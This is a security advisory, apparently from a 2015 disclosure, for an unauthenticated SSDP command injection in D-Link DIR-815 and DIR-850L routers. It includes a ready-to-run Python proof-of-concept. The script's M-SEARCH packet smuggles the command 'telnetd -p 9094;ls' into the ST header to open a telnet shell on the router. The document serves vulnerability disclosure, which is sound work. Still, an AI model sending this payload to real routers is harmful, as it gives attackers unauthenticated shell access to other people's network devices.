D-Link DIR-815 / DIR-850L - SSDP Command Injection

## Advisory Information

Title: SSDP command injection using UDP for a lot of Dlink routers including DIR-815, DIR-850L
Vendors contacted: William Brown <[email protected]> (Dlink)
Release mode: Released
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

Many Dlink routers affected. Tested on DIR-815.

## Vulnerabilities Summary

DIR-815,850L and most of Dlink routers are susceptible to this flaw. This allows to perform command injection using SSDP packets and on UDP. So no authentication required. Just the fact that the attacker needs to be on wireless LAN or be able to fake a request coming from internal wireless LAN using some other mechanism.

## Details

# Command injection
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import socket
import struct

# This vulnerability is pretty much in every router that has cgibin and uses SSDP code in that cgibin. This one worked on the device dir-815. Will work only in WLAN


buf = 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:urn:schemas-upnp-org:service:WANIPConnection:1;telnetd -p 9094;ls\r\nMX:2\r\nMAN:"ssdp:discover"\r\n\r\n'

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("239.255.255.250", 1900))
s.send(buf)
s.close()


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## Report Timeline

* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley